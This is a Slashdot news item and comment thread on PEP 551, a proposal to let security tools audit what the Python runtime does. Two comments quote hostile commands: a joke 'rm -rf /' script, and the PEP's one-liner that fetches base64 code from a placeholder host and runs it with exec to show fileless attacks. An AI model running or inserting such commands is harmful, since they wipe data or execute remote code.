Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!

 



Forgot your password?
typodupeerror
×
Python Security

Python May Let Security Tools See What Operations the Runtime Is Performing (bleepingcomputer.com) 75

An anonymous reader writes: A new feature proposal for the Python programming language wants to add "transparency" to the runtime and let security and auditing tools view when Python may be running potentially dangerous operations. In its current form, Python does not allow security tools to see what operations the runtime is performing. Unless one of those operations generates particular errors that may raise a sign of alarm, security and auditing tools are blind that an attacker may be using Python to carry out malicious operations on a system.

But in Python Enhancement Proposal 551 (PEP-551), Steve Dower, a core Python developer, has proposed the addition of two new APIs that will let security tools detect when Python is executing potentially dangerous operations. The first, the Audit Hook API, will raise warning messages about certain type of Python operations; while the second, the Verified Open Hook API, is a mechanism to let the Python runtime know what files it is permitted to execute or tamper with.

Initial plans were to have PEP-551 ship with Python 3.7, scheduled for release in mid-June 2018, but the proposal did not make the final cut, according to a list of new features added for next month's release. This doesn't mean PEP-551 won't ship with a future version of Python. This is the second major scripting engine to open its runtime to security tools, after PowerShell.

This discussion has been archived. No new comments can be posted.

Python May Let Security Tools See What Operations the Runtime Is Performing

Comments Filter:
  • by Anonymous Coward

    I'm patiently waiting to submit PEP-666 next April 1st.
    It's going to add curly braces!

    • You got me thinking, I just might seriously do a vim plugin to add and remove curly braces from Python code. I've coded in a lot of languages over many years, most of which use curly braces, so my eyes/brain process them somewhat automatically. I also block-based operations in vim, which work based on curly braces. I might find it easier / faster to parse Python that had braces inserted temporarily.

      This wouldn't be needed if my co-workers didn't write blocks that are FAR longer than any coding standard rec

      • by Bongo ( 13261 )

        Good grief! I consider myself a total amateur, yet even I don’t do that.

    • IMHO, forced indentation is what makes Python readable. Matching curly brackets (that may or not be there depending on single statement or multiple, and may not be aligned at all) makes code look terrible.
  • by Anonymous Coward

    Tread carefully here: The morons who did WebRTC and the JavaScript Battery API didn't stop to think of the huge security loopholes they were opening up. People may well have died in oppressive regimes due to the arrogant shortsightedness of these twats.

    I'd lilke to see proper Sandboxing but those who have tried to add it have concluded you need to do it from the ground up. Not after the fact like Java did.

    • by goombah99 ( 560566 ) on Monday May 28, 2018 @08:59PM (#56690736)

      Were re-inventing resource specification sandboxes. The farther you push these things out to the edge rather than at the OS the less uniform policies you have. You become dependent of every app and every plugin the app trusts and every system function the app forks off to have a security policy that matches the one you want. Since you are not the app creator this can't ever happen.

      On the other hand if you can define the security policy of what resources an app and all it's children can use then you can have a system wide or app-to-app tailored policy. And even then the app maker, who might know more than you do, could supply a pre-written "suggested" sandbox policy for their app. That is firefox could tell you what directories it will ever access and supply a sandbox for the OS to enforce it on itself. Likewise plugins that violate the norms can come with installers that update the sandbox for their extended needs beyond firefox. Since you can stack sandbox policies you can have a global one then the app specific one so even a hostile installer can't exceed some bounds.

      But don't keep trying to write the one-true-secure application. (well do, but don't count on it.) and Don't put the policies in the interpreter.

      OSX has a sand box. Linux has a sandbox (dtrace). And I imagine Windows might even have one.

      The trouble is no one uses them regularly.

  • ...if only Python had some semblance of sane design, like, e.g., Newspeak does, or other languages with an actual security model.
  • Has anyone shown any POC code that tricks out the Python runtime?
    Also, given that Python is all open-source, it would seem that the community which focuses on the runtime component (yes, I know it's the same guys proposing this - bear with me) would have pretty good checks on things, especially buffer overflows, etc.)
    Having said that - and obviously not being a Python guru - I'm kinda surprised to learn that even with the amazing plethora of Python modules, there is not already a similar logging/tracing
  • The easy way to accomplish this is to use a system language and a debugger. ;)

    On a serious note: do you really want a scripting language "executing potentially dangerous operations"? Seriously, think about it, they aren't signed text files and they are trivial to modify. Sure, there's no agreed upon ELF signing convention but at least it's significantly more difficult for a script to modify.

    I know I'll be burned at the stake by those who are in love with Python but that doesn't invalidate my points.

    • Re:Already doable! (Score:4, Insightful)

      by Waffle Iron ( 339739 ) on Monday May 28, 2018 @09:15PM (#56690786)

      On a serious note: do you really want a scripting language "executing potentially dangerous operations"?

      You mean like:

      #! /bin/sh
      rm -rf /

    • It would take you a week to write a tool to take apart an ELF file and add custom code to it. And of course, once the tool is written, you can do it as much as you want. That's how it is with security exploits: some are really tough, but if you write a tool, any script kiddie can exploit it.
  • What is this anyway? (Score:5, Informative)

    by vtcodger ( 957785 ) on Tuesday May 29, 2018 @04:01AM (#56691762)

    I read through the comments and still didn't have a clue what the article is about. So I took the drastic step of actually reading the PEP.

    AFAICS, What is proposed is that the Python runtime provide some hooks that allow system administrators to observe/log some events occurring in scripts. That's useful because Python provides access to just about anything one might want to do via dynamically loadable modules.

    Will it actually be usable for anything? I haven't a clue. My gut feeling is probably not very. But what do I know?

    Can it be used for evil? Probably. But I should think that the risk from malicious modules and code vastly outweighs any additional risk from these hooks.

    • Isnt the larger question really 'why'?
      As in why would python try and do what is done, for very good reasons, at OS level already, and if it is not, things are completely broken anyway?

      After all there is that tiny little loophole of C extensions, or hell, just writing the nasty programs in C (or just about any other language) to behind with?

      I basically read this as 'Python has a HUGE problem because it works like pretty much every other language out there, quick, fix it!'

      ie: someone stiring up a storm in a t

      • We're way beyond my tiny area of competence here, but PEP551 https://www.python.org/dev/pep... [python.org] includes an example:

        python -c "import urllib.request, base64;
        exec(base64.b64decode(
        urllib.request.urlopen('http://my-exploit/py.b64')
        ).decode())"

        The PEP asserts that sort of thing bypasses (most) malware scanners and file access controls because there is no file written to disk. Could be. The proble

    • PowerShell has similar functionality, and I can speak a little on why they did it.

      "Normal" AV looks at files. You read a file and it's scanned. You write a file and it's scanned. File-less attacks nullify this approach by never dropping anything to the disk. They call PowerShell (or Python, apparently) by passing in a script block, the equivalent of a one-liner that is Eval()'d. To help close this hole and expose scriptblocks to AV PowerShell added features to decode incoming scriptblocks, log them, and exp

  • ... will be available the day before the standard's officially released.

"Protozoa are small, and bacteria are small, but viruses are smaller than the both put together."

Working...